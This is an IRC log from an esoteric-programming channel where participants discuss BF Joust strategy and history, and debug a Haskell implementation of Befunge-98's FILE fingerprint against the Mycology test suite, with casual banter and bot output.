20:26:24 <ais523> and do so using a mechanism that beats most defence and most tripwire programs, but loses to most rush programs
20:26:28 <quintopia> ais523: as long as non-decoy-trail programs dominate the hill, non-zeroness checkers will have an advantage
20:26:29 <nescience> we should be recording innovations
20:26:35 <elliott> ais523: should rename the series to hybrid, then
20:26:37 <elliott> if it can attack
20:26:42 <nescience> I forget who first used offset clearing already
20:26:57 <ais523> it's still a defence program, it just attacks as a last resourt
20:26:58 <nescience> it was from the last active time surely
20:26:59 <ais523> *resort
20:27:00 <EgoBot> Score for elliott_my_polarity_brings_all_the_boys_to_the_yard: 9.2
20:27:02 <ais523> and impomatic
20:27:06 <ais523> shortsword was the first offset clearer
20:27:12 <ais523> with an offset of 1
20:27:22 <ais523> which it used to defeat the decoys of 1 which were all people thought they needed at the time
20:27:23 <nescience> ah
20:27:34 <ais523> that's what lead the innovation of large decoys
20:27:52 <quintopia> and here we are today with SUPERLARGEDECOYS
20:28:01 <Gregor> !bfjoust spin_cycle (+)*100000
20:28:11 <Gregor> (Best evar)
20:28:17 <quintopia> flail
20:28:35 <quintopia> you do know tournaments last 384000 cycles right?
20:28:49 <Gregor> In principle I know that ... in practice, I do not.
20:28:54 <nescience> dunno, there was a lot of churn, i'd sorta like to go look back through :)
20:29:08 <ais523> quintopia: it does indeed say 384000 on the wiki
20:29:14 <ais523> however, egojoust only simulates the first 100000
20:29:18 <ais523> unless I'm using an old version
20:29:25 <EgoBot> Score for Gregor_spin_cycle: 13.8
20:29:28 <quintopia> that would explain gregor's comment
20:29:44 <nescience> too bad there's no mark of the rule changes
20:29:54 <Gregor> ais523: Is that true? :P
20:29:57 <quintopia> not that particular one though
20:30:10 <quintopia> but all the other rule changes for egojoust are on the wiki
20:30:16 <ais523> Gregor: my local egojoust isn't quite the same as the one in the tournament
20:30:16 <quintopia> oh
20:30:27 <quintopia> you meant mark within the programs that competed?
20:30:41 <ais523> it's before the all-polarity-all-length thing, so it may be before correct-length too
20:30:57 <Gregor> Yup, 100K
20:31:40 <ais523> the only program it likely makes a difference to is defend14, where I had to lower some constants to fit a win into 100K
20:33:08 <ais523> hmm, something interesting is how badly chainmail and defend7 are doing nowadays
20:33:17 <ais523> the rise of defence programs has lead people to really start punishing them
20:33:44 <Gregor> Has somebody starting writing The History of Warfare: BF Joust
20:33:57 <impomatic> Gregor: I've been considering it
20:34:13 <quintopia> i would read it
20:34:22 <impomatic> But I think ais523 would do a better job.
20:35:14 <ais523> I've been considering it too
20:35:21 <ais523> perhaps impomatic and I should collaborate
20:35:30 <ais523> but I'm really busy at work atm, with something I seriously don't want to do
20:35:38 <ais523> and am thus playing BF Joust as a substitute
20:35:47 <quintopia> lol
20:36:00 <quintopia> THIS SHOULD BE A WIKI ARTICLE STAT
20:36:06 <impomatic> ais523: I'd be happy to.
20:36:09 <ais523> it should be a post on impomatic's blog
20:36:21 <quintopia> okay fine
20:36:30 <quintopia> i was just thinking the wiki didn't have nearly enough history on it
20:36:37 <ais523> putting it on the wiki too would be interesting, too
20:36:41 <ais523> probably as a separate article
20:38:10 <quintopia> speaking of history, does anyone know what the first language was that used message-passing and not global state?
20:38:27 <elliott> quintopia: Smalltalk, probably, or Modula before it
20:38:30 <Gregor> http://codu.org/eso/bfjoust/in_egobot/reports/ Here's your source :P
20:39:20 <impomatic> Maybe it could be in magazine format like http://corewar.co.uk/nw/nw03.txt :-)
20:39:42 <nescience> that would be neat
20:40:00 <nescience> mercurial I have found doesn't make it easy on you though
20:40:03 <quintopia> anyone know where i could see the programs that were entered into the agora tourney?
20:40:08 <elliott> hardly worth magazine format for a single article
20:40:12 <nescience> I gave up trying to find old programs I had submitted
20:40:15 <elliott> quintopia: they all sucked
20:40:34 <nescience> there's enough info to make an issue or three elliott
20:40:41 <Gregor> nescience: ... are you kidding me?
20:40:45 <elliott> nescience: Not worth it.
20:40:48 <Gregor> w.r.t. getting your old programs out of the repo
20:40:55 <elliott> Gregor: he's a windowser :P
20:41:08 <nescience> I had trouble searching what version they were in
20:41:13 <nescience> by filename
20:42:29 <Gregor> ... they're logged by filename, just look through the log.
20:42:31 <nescience> I seem to recall doing it before but I gave up trying to use help
20:42:57 <nescience> will try that then
20:45:35 <elliott> Deewiant: wait, HTF do G and P work in EMEM?
20:45:38 <elliott> "hnd n addr" what's addr
20:46:39 <ais523> VCSes aren't really ideal for that sort of thing, because they assume that if something's deleted it's because it turned out not to be useful, and the only reason to recall it from history is if it was deleted by mistake or the deletion later turned out to be a bad idea
20:47:19 <Gregor> They may not be ideal, but they're a hell of a lot better than much of the alternative (read: nothing)
20:47:41 -!- Sgeo_ has joined.
20:53:42 <elliott> Deewiant: Pingy :-P
20:53:52 <Deewiant> I don't know anything about EMEM, it's crap
20:54:02 <Deewiant> Presumably that's your pointer addition
20:54:32 <elliott> Deewiant: >_<
20:54:40 <elliott> Deewiant: Name some low-hanging fruit that isn't EMEM then :P
20:54:51 <Deewiant> FIXP, FPSP, FPDP
20:55:08 <Deewiant> FILE
20:55:22 <quintopia> okay, so, the big thing on xkcd fora now appears to be "code bowling"
20:55:29 <quintopia> which is the opposite of code golf
20:56:01 <quintopia> write a program that *cleverly* solves a problem with the poorest time efficiency you can achieve.
20:56:14 <quintopia> aka, take as long as possible without just wasting cycles
20:56:30 <oerjan> XD
20:57:17 <oerjan> i'm not sure i imagine bowling fitting that description better than golf...
20:57:30 <quintopia> it does though
20:57:41 <quintopia> in bowling you want to get as high a score as possible
20:57:47 <oerjan> hm
20:57:57 <myndzi> they didn't actually have the name in the log for a while
20:58:15 <oerjan> yes but the score in bowling has no positive relation to time, unlike in golf
20:58:21 <ais523> you can always use clog's logs for programs posted in-channel, I suppose
20:58:40 * oerjan thinks cricket might have been a better name
21:02:15 <elliott> @hoogle Ptr a -> IO a
21:02:16 <lambdabot> Foreign.Storable peek :: Storable a => Ptr a -> IO a
21:02:16 <lambdabot> Foreign.Marshal.Alloc free :: Ptr a -> IO ()
21:02:16 <lambdabot> Network.Socket.Internal peekSockAddr :: Ptr SockAddr -> IO SockAddr
21:03:56 <elliott> Deewiant: I'll do FILE then.
21:04:00 <elliott> Does myco test that?
21:04:31 <Deewiant> Yes, and it's actually useful since it'll then delete the tmp files
21:06:33 <oerjan> > let (ಠ_ಠ) = 2 in (ಠ_ಠ)
21:06:34 <lambdabot> 2
21:06:41 <elliott> oerjan: :D
21:06:47 <elliott> Deewiant: That WOULD be nice :-D
21:07:07 <Sgeo_> Is it just me, or is LibreOffice Base crap?/
21:07:11 <elliott> ...
21:07:12 <elliott> ANYWAY
21:07:23 <oerjan> elliott: i saw this link on reddit http://kutruff.wordpress.com/2011/02/08/using-%E0%B2%A0_%E0%B2%A0-to-throw-exceptions/ i haven't opened it yet but i imagined what it _could_ be
21:07:35 -!- ais523 has quit (Remote host closed the connection).
21:07:47 <elliott> oerjan: it's pretty much that, yep
21:07:51 <elliott> except for C# and F#
21:08:12 <oerjan> so it was
21:08:37 <elliott> > let _ ಠ_ಠ x = error x in () ಠ_ಠ "Son, I am disappoint."
21:08:38 <lambdabot> <no location info>: Parse error in pattern
21:08:41 <elliott> :(
21:08:58 <oerjan> i'm going to need the logs to actually see what you did there :D
21:09:08 <elliott> @Hoogle Handle -> Int
21:09:08 <lambdabot> Maybe you meant: google hoogle
21:09:12 <elliott> @hoogle Handle -> Int
21:09:12 <lambdabot> Data.Generics.Schemes gsize :: Data a => a -> Int
21:09:12 <lambdabot> Data.Generics.Schemes gdepth :: GenericQ Int
21:09:13 <lambdabot> Data.Generics.Schemes glength :: GenericQ Int
21:09:47 <oerjan> elliott: ಠ_ಠ is actually alphanumeric not operator
21:09:49 <Deewiant> @hoogle fd
21:09:50 <lambdabot> System.Posix.Types newtype Fd
21:09:50 <lambdabot> System.Posix.Types Fd :: CInt -> Fd
21:09:50 <lambdabot> Network.Socket fdSocket :: Socket -> CInt
21:10:09 <elliott> oerjan: ah
21:10:18 <elliott> > let ಠ_ಠ = error in ಠ_ಠ "You've been a bad, bad boy."
21:10:19 <lambdabot> *Exception: You've been a bad, bad boy.
21:10:23 <elliott> golden
21:10:30 <elliott> ok now to write helper functions for IntMaps with fingerprints
21:10:36 <elliott> except that would be a pain
21:10:37 <elliott> so meh
21:11:14 <elliott> Deewiant: The Va that O pops is storage-offset, right? :-P
21:11:32 <Deewiant> I'd assume that everything is
21:11:37 -!- augur has quit (Ping timeout: 240 seconds).
21:11:39 -!- ais523 has joined.
21:11:46 <elliott> Deewiant: It's not clear at all to me what the I/O buffer is used for ther.
21:11:48 <elliott> *there.
21:12:00 <Deewiant> It's where stuff is written to/from
21:12:34 <elliott> 08:18:34 <ehird> Deewiant: I need to store two boundary maps, vertical & horizontal, right
21:12:34 <elliott> 08:18:37 <ehird> ?
21:12:34 <elliott> 08:20:28 <ehird> ais523: so I've gone insane and am implementing befunge98
21:12:34 <elliott> 08:20:29 <ehird> again
21:12:34 <elliott> EVERY TIME
21:12:37 <elliott> I'VE CLICKED A RANDOM LOG
21:12:41 <elliott> SINCE STARTING THIS
21:12:51 <ais523> beautiful
21:12:52 <elliott> Deewiant: Linearly, I guess?
21:13:07 <Deewiant> Yeah, if it doesn't say anything else
21:13:59 <elliott> Deewiant: And then I argue with you that leaving form feed in fungespace is correct :-D
21:14:21 <elliott> 08:45:56 <Deewiant> ehird: Applies analogously for \f in Befunge.
21:14:21 <elliott> 08:46:06 <ehird> Uh huh. Where in the spec does it say this?
21:14:21 <elliott> 08:46:12 <Deewiant> It doesn't.
21:14:21 <elliott> 08:46:15 <ehird> I see.
21:14:33 <Deewiant> Key word: analogous
21:14:40 <Deewiant> In this case, there's nothing to compare to :-P
21:15:30 <elliott> Deewiant: I wasn't referring to FILE
21:15:49 <elliott> data FileMap = FileMap Int (IntMap (Handle,Vector)) deriving (Show, Typeable)
21:15:51 <elliott> IS THAT ENOUGH GOSH
21:19:44 <myndzi> hoho
21:19:50 <myndzi> i have created a text file for the manifest of every revision! :P
21:20:30 <elliott> Deewiant: Woo, I can't implement FILE using System.IO
21:20:35 <elliott> IOMode doesn't have enough members
21:20:35 -!- ais523 has quit (Read error: Connection reset by peer).
21:20:48 <elliott> I love how much I don't love this
21:21:10 <myndzi> i don't know i'd call shortsword a "true" offset clear, but "kicks_ehird" is a bit closer, also impomatic's; and it predates my "creep" slightly
21:21:22 <myndzi> i'd like to find the beginning of the (-)*N[+] style thing though really
21:21:32 <elliott> kicks_ehird? xD
21:21:33 -!- iconmaster has joined.
21:21:38 <myndzi> lol yeah
21:21:39 <Deewiant> elliott: What does it lack
21:21:50 <Deewiant> FWIW I use C I/O as well just to keep it trivial
21:22:07 <myndzi> (-)*N[+] was kind of a different development to just the simple one-off clear thing
21:22:22 <elliott> Deewiant: It has: ReadMode, WriteMode, AppendMode, ReadWriteMode; I need: those, plus TruncateReadWriteMode, AppendReadWriteMode
21:22:29 <myndzi> anyway, probably hard to search for
21:22:41 <Deewiant> elliott: Can't you simulate both of those using ReadWriteMode
21:22:44 <myndzi> maybe i could grep it, but boy, i'd have to have like, archive folders of everything
21:22:48 <elliott> So I need System.POSIX.IO, with this wonderful API: http://www.haskell.org/ghc/docs/latest/html/libraries/unix-2.4.1.0/System-Posix-IO.html#t:OpenFileFlags
21:22:50 <myndzi> also apparently report.txt wasn't archived, which is too bad
21:22:57 <elliott> Deewiant: I don't _think_ so.
21:23:05 <elliott> Deewiant: Well, maybe.
21:23:13 <elliott> Deewiant: Dunno if Haskell has a nice file size function :D
21:23:19 <elliott> Indeed not
21:23:25 <elliott> Oh wait
21:23:28 <elliott> hFileSize :: Handle -> IO IntegerSource
21:23:28 <elliott> For a handle hdl which attached to a physical file, hFileSize hdl returns the size of that file in 8-bit bytes.
21:23:29 <elliott> Good enough
21:23:33 -!- ais523 has joined.
21:24:12 -!- Mathnerd314 has joined.
21:24:36 <elliott> Deewiant: Seemingly no way of truncating, though
21:25:12 <oerjan> elliott: WriteMode truncates, doesn't it.
21:25:36 <elliott> oerjan: Well. Yes. That wouldn't be atomic, though, to open and close and re-open.
21:26:00 <oerjan> hm.
21:26:18 <Deewiant> elliott: hSetFileSize
21:26:18 <elliott> Tempted to just deal with the hideous System.Posix.IO at this point. Sigh.
21:26:24 -!- iconmaster has quit (Client Quit).
21:26:31 <elliott> Deewiant: And the "worst name" prize goes to...
21:26:45 -!- iconmaster has joined.
21:27:35 <elliott> when (mode == 4) $ hSetFileSize handle 0
21:27:36 <elliott> when (mode == 5) $ hSeek handle SeekFromEnd 0
21:27:36 <elliott> tada
21:27:56 <Deewiant> Yes, because "set file size" is so strange a way of thinking about it :-P
21:28:21 <elliott> Deewiant: I either want a perfect pearl of functional purity... or something with similar names to the C API :-P
21:28:27 <elliott> Or at least the POSIX API.
21:28:33 <elliott> Or just general terminology.
21:30:02 <oerjan> what terminology do generals use for this, anyway
21:30:35 <elliott> I really need some kind of continuation support in my monad.
21:30:38 <elliott> I keep doing
21:30:39 <elliott> case foo of
21:30:42 <elliott> Nothing -> reflect
21:30:44 <elliott> Just blah -> do
21:30:46 <elliott> LOTS OF STUFF
21:31:15 <Deewiant> Wrap ContT around it
21:31:46 <Vonlebio> http://i.imgur.com/qAgC2.jpg
21:31:51 <Vonlebio> I FEEL A MEME IS DEVELOPING
21:32:22 <oerjan> elliott: um you _could_ make a function for that pattern if it's exactly like that :D
21:32:24 <Gregor> Vonlabia: A meme ... of what? Why?
21:32:35 <elliott> oerjan: well, I'd still need an indentation
21:32:37 <elliott> for each such condition
21:32:43 <Vonlebio> Gregor, Bill O'Reilly not understanding how things work.
21:32:44 <Deewiant> ?unmtl ContT x (StateT S IO) y
21:32:45 <lambdabot> (y -> S -> IO (x, S)) -> S -> IO (x, S)
21:33:05 <elliott> Deewiant: X-D
21:33:15 <elliott> ?mtl (y -> S -> IO (x, S)) -> S -> IO (x, S)
21:33:15 <lambdabot> Maybe you meant: ft map msg pl unmtl url
21:33:17 <elliott> LAME
21:33:20 <oerjan> elliott: do Just Blah <- foo; and then fail does the reflect?
21:33:30 <elliott> oerjan: but then it'd cancel the interpreter loop :-)
21:33:52 <oerjan> hm wait that's wrong
21:34:03 <oerjan> * <- return foo;
21:34:22 <oerjan> elliott: `mplus` reflect after that...
21:34:35 <elliott> oerjan: heh
21:35:08 <oerjan> some monads allow that style, anyway. like Parsec.
21:35:14 <elliott> ANOTHER LOVELY THING ABOUT HASKELL'S IO API:
21:35:17 <elliott> NO FUCKING "FREAD"
21:35:26 <elliott> that would be TOO SIMPLE
21:35:29 <elliott> TOO EASY
21:35:46 -!- iconmaster has quit (Ping timeout: 245 seconds).
21:35:49 <Gregor> Hey there Tnurmb: No fucking fread!
21:35:54 <Deewiant> elliott: hGetBuf
21:36:07 <elliott> Gregor: ...Tnurmb?
21:36:08 <elliott> Deewiant: Thanks
21:36:11 -!- Sgeo_ has quit (Read error: Operation timed out).
21:36:12 <elliott> Deewiant: (This is how I get support from now on)
21:36:20 <elliott> Deewiant: THAT REQUIRES A PTR
21:36:24 <Deewiant> elliott: It's fread!
21:36:30 <elliott> >_,
21:36:32 <elliott> *>_<
21:37:07 <elliott> Deewiant: Seriously... using that would be an unholy pain :P
21:37:16 <fizzie> There's that MaybeT wrapper, isn't that the sort of thing that can wrap sequences of "test for Nothing every now and then" into a single level of indentation? (But I'm not a Haskell guy.)
21:37:27 <Deewiant> elliott: Data.ByteString.hGet
21:37:32 <elliott> fizzie: It's more than just that pattern match though.
21:37:36 <elliott> Deewiant: Ah, thanks. (See, support.)
21:37:44 <elliott> I wonder if it only works on Finns.
21:39:20 <elliott> @hoogle (Word8 -> m a) -> ByteString -> m ()
21:39:20 <lambdabot> Control.Monad (<=<) :: Monad m => (b -> m c) -> (a -> m b) -> a -> m c
21:39:20 <lambdabot> Control.Monad (>=>) :: Monad m => (a -> m b) -> (b -> m c) -> a -> m c
21:39:23 <elliott> >_<
21:39:27 <elliott> @hoogle mapM bytestring
21:39:27 <lambdabot> No results found
21:39:42 -!- azaq23 has joined.
21:41:14 <elliott> I'm assuming that G reads a line.
21:41:16 <elliott> Correct assumption?
21:42:36 <elliott> Actually I don't think so.
21:42:37 <elliott> >_<
21:42:42 <elliott> What does it do?
21:43:05 <Deewiant> "like c fgets", quoth the spec.
21:43:30 <elliott> Deewiant: fgets takes a size argument.
21:43:30 <elliott> G doesn't.
21:43:56 <Deewiant> Then it's probably a line, yes
21:44:13 <elliott> 08:53:15 <ehird> Hey, it parses mycology quite quickly.
21:44:13 <elliott> 08:53:19 <ehird> ~0.2s
21:44:13 <elliott> 08:53:24 <ehird> Maybe 0.3
21:44:13 <elliott> I think I was a liar.
21:44:21 <elliott> Deewiant: Which it pushes the length of for no reason :P
21:45:06 <fizzie> The length is nice for checking for EOF.
21:45:11 <fizzie> Assuming it reflects on fail, anyway.
21:45:42 <fizzie> Okay, so you could : and test the first read byte for the string-terminating 0.
21:45:55 <fizzie> But G| is not too shabby either, even if you then have to $ the leftover 0.
21:47:17 <fizzie> I think I also use the string length for something in fungot.
21:47:17 <fungot> fizzie: oh. you already know many concepts, then the implementation ( software user) can be used
21:48:34 <elliott> fizzie: You use FILE?
21:48:44 <fizzie> Yes, quite a lot.
21:48:47 <elliott> Deewiant: How comprehensive is Mycology's FILE testing?
21:48:53 <elliott> Lots of corner-cases I could be missing here.
21:49:07 <Deewiant> Not very, there's too many corner-cases :-P
21:49:12 <fizzie> Though G/P not so much, that only for the ascii line-based state-file storage.
21:49:26 <fizzie> The babbling uses R/S a lot.
21:49:52 <fizzie> Since it doesn't load the (multi-hundred-megabyte) model in memory, instead keeps navigating around the ngram tree with S and reading one value at a time.
21:51:00 <elliott> Yay, there's hPut.
21:51:12 <elliott> fizzie: Do you have a program that just does the babbling?
21:51:14 <elliott> Funge-98, I mean.
21:51:17 <elliott> That would be nice to test/benchmark.
21:51:44 <elliott> Hey, I can just use rectangleToByteString for this!! Oh gliffrious gee!
21:51:49 <fizzie> No, I don't. Theoretically speaking it shouldn't be too hard to extract, it doesn't really depend that much of the surroundings.
21:51:53 <elliott> Oh, and mergeByteString for the other!! Gambitulous petulancy!!!!
21:52:11 <ais523> this thread is great: http://forums.thedailywtf.com/forums/t/21257.aspx
21:54:33 <ais523> summary: someone is asked to make 100 copies of a file but with different names (and the reason is a bad one, too); then after complying with the request, finds he's missed one, and the original requestors ask for it to be sent over by FTP
21:54:57 <fizzie> elliott: Are you going to have your R/W read/write values in the [0, 255] range or the [-128, 127] range? Both are seen in the wild. (The "greater than 255" is another spec-retcon.)
21:55:31 <elliott> fizzie: [0, 255], I think.
21:55:44 <elliott> fizzie: I just rely on ByteString to do the modulo for me, works for o :-D
21:56:04 <elliott> fizzie: What does Mycology like?
21:56:29 <elliott> G(h -- h 0gnirts b)Read string from file (like c fgets)
21:56:29 <elliott> P(h 0gnirts -- h)Write string to file (like c fputs)
21:56:32 <elliott> Deewiant: fputs doesn't write a newline. Discuss.
21:56:53 <Deewiant> That probably doesn't then either?
21:57:01 <elliott> Deewiant: I'm sure it does, since G/P are the "line-oriented" functions.
21:57:07 <elliott> Maybe fizzie can disagree. :p
21:57:35 <elliott> Hmm, you appear to actually not.
21:57:37 <fizzie> I'm not sure what I assume.
21:57:39 <elliott> Okay then.
21:58:31 <fizzie> It might be that I do add the newline manually.
21:58:45 <fizzie> I can't really understand my ^save.
21:58:52 <fizzie> It looks far too small to actually save stuff.
21:59:15 <elliott> 127 lines for FILE. Whew.
21:59:41 <fizzie> I do seem to do quite a lot of "0a" + apped-from-STRN there, so I think I'm writing newlines manually.
22:01:25 <elliott> fizzie: So if I come up with some amazing feature that makes Shiro oh-so-appealing for fungot, do I get a user? :-)
22:01:25 <fungot> elliott: does " damned if i know. i just changed a word in english? :) " migrate my process thence!"
22:01:26 <fizzie> And in fact G:!#v_1-L -style stuff to strip the newline from G.
22:01:37 <elliott> Like, like, maybe I'll make babble generation SO FAST.
22:02:09 <elliott> Pretty sure that as the only actual user of Befunge-98, you have to do, like, new-implementation affirmative action.
22:02:11 <elliott> To prevent monopolies.
22:02:32 <fizzie> I could run a "shungot" on it.
22:02:50 <elliott> fizzie: And what does cfunge have that I don't?!
22:02:54 -!- hagb4rd has joined.
22:02:57 <elliott> Honestly, first you abandon RC/Funge, and now you won't even use Shiro.
22:03:01 <elliott> I get the feeling Vorpal's paying you.
22:03:09 <elliott> Deewiant: Form union?
22:03:15 <Deewiant> :-P
22:03:51 <elliott> BAD: G didn't read 'foo\n'
22:03:51 <elliott> <CTCP>GOOD: C worked
22:03:55 <elliott> That \1 in front of GOOD worries me.
22:04:08 <elliott> Looks like G expects the final newline >_<
22:04:12 <olsner> but it says good, then it can't be bad
22:04:47 <fizzie> Is this ghc-compiled binary linking against bazillion libraries (like Kerberos, SASL, GnuTLS, libgcrypt) just because it uses Network.Browser, or do they all do that? (I guess the latter.)
22:04:56 <fizzie> s/latter/former/
22:05:10 <elliott> $ ldd shiro
22:05:10 <elliott> linux-vdso.so.1 => (0x00007fff64dff000)
22:05:10 <elliott> librt.so.1 => /lib/librt.so.1 (0x00007fc20e487000)
22:05:10 <elliott> libutil.so.1 => /lib/libutil.so.1 (0x00007fc20e284000)
22:05:10 <elliott> libdl.so.2 => /lib/libdl.so.2 (0x00007fc20e07f000)
22:05:11 <elliott> libgmp.so.3 => /usr/lib/libgmp.so.3 (0x00007fc20de1f000)
22:05:13 <elliott> libm.so.6 => /lib/libm.so.6 (0x00007fc20db9c000)
22:05:17 <elliott> libc.so.6 => /lib/libc.so.6 (0x00007fc20d818000)
22:05:19 <elliott> libpthread.so.0 => /lib/libpthread.so.0 (0x00007fc20d5fb000)
22:05:21 <elliott> /lib64/ld-linux-x86-64.so.2 (0x00007fc20e6ae000)
22:05:23 <elliott> fizzie: The latter. :P
22:05:30 <fizzie> That's not very much.
22:05:38 <elliott> Not much more than your typical C program.
22:05:46 <elliott> It links in the Haskell libraries statically of course.
22:05:55 <olsner> those are all just parts of libc plus gmp
22:05:56 <elliott> But that's just how GHC works (well, without the fancy modern stuff that I don't trust and don't know how to enable).
22:06:07 <elliott> olsner: Yeah, but pthread is notable.
22:06:23 <Deewiant> Comparing against CCBI you've got: +rt,util,gmp -ncurses,formw,gcc_s
22:06:23 <elliott> fizzie: Have I mentioned that Shiro is more standards-compliant than cfunge?
22:06:41 <elliott> Deewiant: ncurses will enter soon.
22:06:42 <elliott> Dunno what formw is.
22:06:45 <elliott> gcc_s will never get in. :p
22:06:57 <Deewiant> formw is some ncurses thing it seems
22:07:03 <Deewiant> Dunno why cfunge doesn't use it
22:07:05 <fizzie> Yeah, my test case was probably just not a good one since it has all those FFI-driven externalities. (I was just wondering how tricky it would be to run an elsewhere-built binary on the fungot box.)
22:07:05 <fungot> fizzie: would xml-rpc work well enough in the abstract sense of things. there are not too long
22:07:12 <elliott> Testing fingerprint FILE... loaded.
22:07:14 <elliott> BAD: O opened 'mycotemp.tmp' for reading, won't overwrite it and thus won't test fingerprint
22:07:14 <elliott> GOOD: closed file with C
22:07:14 <elliott> YOU ARE TOO PARANOID
22:07:32 <elliott> fizzie: Erm, the GHC in Debian should work fine to compile Shiro :-P
22:07:44 <fizzie> Yes, but I don't want to install GHC on that thing.
22:07:47 <elliott> (Note that Shiro can't run fungot yet, because of missing fingerprints, and it also has some slowness, but I'm working on it.)
22:07:48 <fungot> elliott: i'm glad you are so certain.
22:07:55 <elliott> fizzie: GHC can link statically, anywho.
22:08:02 <elliott> And it doesn't add too much to the binary.
22:08:12 <fizzie> Heh, curiously coherent comment from the bot.
22:08:16 -!- taotree has quit (Ping timeout: 240 seconds).
22:08:23 <elliott> BAD: O opened 'mycotemp.tmp' for reading, won't overwrite it and thus won't test fingerprint
22:08:30 <elliott> Deewiant: You do that _after writing mycotemp yourself_.
22:08:34 -!- zzo38 has joined.
22:08:38 <elliott> I am not sure how to coerce this into testing.
22:08:59 <Deewiant> Hmm? Doesn't it only check that right after loading FILE?
22:09:01 <zzo38> How can astrology be medicine?
22:09:04 <elliott> Oh, mycotemp != mycotmp.
22:09:13 <elliott> Thanks Deewiant, your naming scheme is confusing!
22:09:19 <Deewiant> mycotemp for FILE, mycotmp[0-9] for earlier
22:09:26 <elliott> MAKES SENSE
22:09:27 <Deewiant> I didn't expect to need another temp file.
22:09:29 <elliott> :D
22:09:36 <elliott> BBAD: couldn't reopen file in truncate+read mode
22:09:38 <elliott> It's b-b-b-b-bad.
22:09:59 <elliott> Hmm, I have no idea why that's happening
22:10:15 <elliott> Deewiant: Dude, there's no truncate+read mode.
22:10:18 <elliott> Just turncate+read/write.
22:10:24 <Deewiant> Whatever.
22:10:31 <Deewiant> It probably means w+.
22:10:36 <Deewiant> If that's it.
22:11:03 <elliott> 08:54:24 <ehird> data Point =
22:11:03 <elliott> 08:54:25 <ehird> Point {
22:11:03 <elliott> 08:54:25 <ehird> x :: {-# UNPACK #-} !Int,
22:11:03 <elliott> 08:54:27 <ehird> y :: {-# UNPACK #-} !Int
22:11:03 <elliott> Ooh, tempting.
22:11:55 <elliott> *truncate
22:12:11 <elliott> Deewiant: By "couldn't" you probably mean "reflects" right?
22:12:53 <Deewiant> Yeah, probably
22:13:07 <elliott> GOOD: closed file with C
22:13:07 <elliott> mycotemp.tmp: openBinaryFile: resource busy (file is locked)
22:13:07 <elliott> BBAD: couldn't reopen file in truncate+read mode
22:13:08 <Deewiant> You could learn to read Befunge a bit and look at the source, you know :-P
22:13:10 <elliott> _What._
22:13:18 <elliott> Also -- BAD: O reflected leaving the stack untouched (or pushed an 'm' for no reason)
22:13:28 <elliott> Deewiant: Can Vorpal? :-P
22:13:35 <Deewiant> A bit
22:13:42 <Deewiant> But usually he just complains about my unreadable code
22:14:15 <elliott> BAD: O reflected leaving the stack untouched (or pushed an 'm' for no reason)
22:14:17 <elliott> ???????????????????????
22:14:20 <elliott> I so don't do that.
22:14:30 <Deewiant> Maybe you have a push 'm' there by accident
22:14:34 <elliott> fpRun ident O = do
22:14:34 <elliott> filename <- pop0gnirtsAsString
22:14:34 <elliott> mode <- pop
22:14:34 <elliott> buffer <- popVecOffset
22:14:34 <elliott> if mode < 0 || mode > 5 then reflect else do
22:14:35 <elliott> handle <- io $ openBinaryFile filename (ioMode mode)
22:14:37 <elliott> when (mode == 4) . io $ hSetFileSize handle 0
22:14:39 <elliott> when (mode == 5) . io $ hSeek handle SeekFromEnd 0
22:14:41 <fizzie> Deewiant: It does need a rather wide terminal to be comfortable to read.
22:14:41 <elliott> Those are the only places I can reflect.
22:14:45 <elliott> By IO error or by that explicit reflect.
22:15:01 <Deewiant> fizzie: Just disable line wrapping, you don't need to read everything at once anyway
22:16:07 <elliott> Can you disable line wrapping in vi?
22:16:20 <fizzie> ":set nowrap" in vim, don't know about vi-compatible modes.
22:17:35 <Deewiant> Does vi have line wrapping?
22:17:48 <fizzie> There was some editor where non-line-wrapping mode scrolled only the line the cursor was on.
22:18:08 <elliott> That sounds nice.
22:18:17 <elliott> Seriously though.
22:18:19 <elliott> "file is locked"? WTF
22:19:00 <Deewiant> That /might/ be a GHC bug, it seems to ring some kind of bell
22:20:40 -!- taotree has joined.
22:20:48 <elliott> Deewiant: Joy.
22:20:51 <elliott> Deewiant: Got a copy of slowdown.b98?
22:20:55 <elliott> Would like to try it :-D
22:20:56 <fizzie> Deewiant: What does the "reopen" thing check? C + O with the same file name? (I mean, I don't think FILE has a freopen()-like thing exposed.)
22:20:57 <Deewiant> I could be wrong, too.
22:21:10 <elliott> 09:14:55 <AnMaster> ehird, maybe. Anyway if you want to check algorithms currently you should go for ccbi and/or cfunge. cfunge if you want the fast ones.
22:21:10 <elliott> Look at you now, Vorpal!
22:21:12 <Deewiant> And yes, C + O.
22:21:16 <elliott> Losing to the immense power of CCBI2!
22:22:29 <Deewiant> elliott: You can pick it up at http://tar.us.to:1234/
22:23:58 <elliott> Brain Fuck brought 'jail for a while, then his head when water_flea Metabolix and sent me two Brain Fuck-implementation of the Fibonacci sequence to calculate. Well, as we all know, Brain Fuck no means the only one so-called esoteric programming language. Three canonical first is the 1972 intercal, one is drawn up in 1993 Brain Fuck, and the third is in the same year developed Befunge. Brain Fuck However, it is the language that most programmers
22:23:59 <elliott> are on the lips when you want to make jokes related to programming languages. It's history. This code pointers to highlight a large extent overshadowed by their peers Brainfuckin Befunge. Befungen perhaps the most interesting and most unique feature is that the commands are not being driven at all times in the same order, but the direction is determined by the various commands. Source code is divided into two-dimensional (Funge-98-standard allows
22:23:59 <elliott> virtually all one-or-useampiulotteiset, but is generally only used two-dimensional, Befungea) grid, along which one moves (Concurrent Funge-98-standard allows more than one) [i] instruction pointer [/ i ], or IP. IP start point (0, 0), ie the beginning of the file and the default screen at a time, moves to the right. Before the IP's moving in the case of the command is run. Originally
22:24:13 <Deewiant> elliott: Dude
22:24:19 <Deewiant> elliott: You don't need to paste it, it's all online already
22:24:24 <elliott> Deewiant: MACHINE TRANSLATION
22:24:38 <elliott> It's the BEST
22:24:38 <Deewiant> Oh, right, it was in Finnish wasn't it
22:24:41 <elliott> X-D
22:24:45 <elliott> You didn't notice how unreadable that was?
22:24:47 <elliott> Crazy Finns
22:25:04 <Deewiant> I knew what it was as soon as I saw the length, Befunge, and Metabolix
22:25:25 <fizzie> Heh, "'jail" for... that website.
22:25:55 <Deewiant> Well, I don't blame it for not understanding my abbreviation.
22:26:08 <elliott> You Finns, so secretive and mysterious.
22:26:14 <Deewiant> Although the capital should've hinted at the fact that it's a name :-P
22:26:25 <Deewiant> (At least I hope I left a capital letter there)
22:27:07 <elliott> $ ~/Code/shiro/shiro slowdown.b98
22:27:08 <elliott> Need nonempty file name.
22:27:08 <elliott> wat
22:28:24 <Deewiant> elliott: It's a Befunge-98 interpreter, you need to run it on a file.
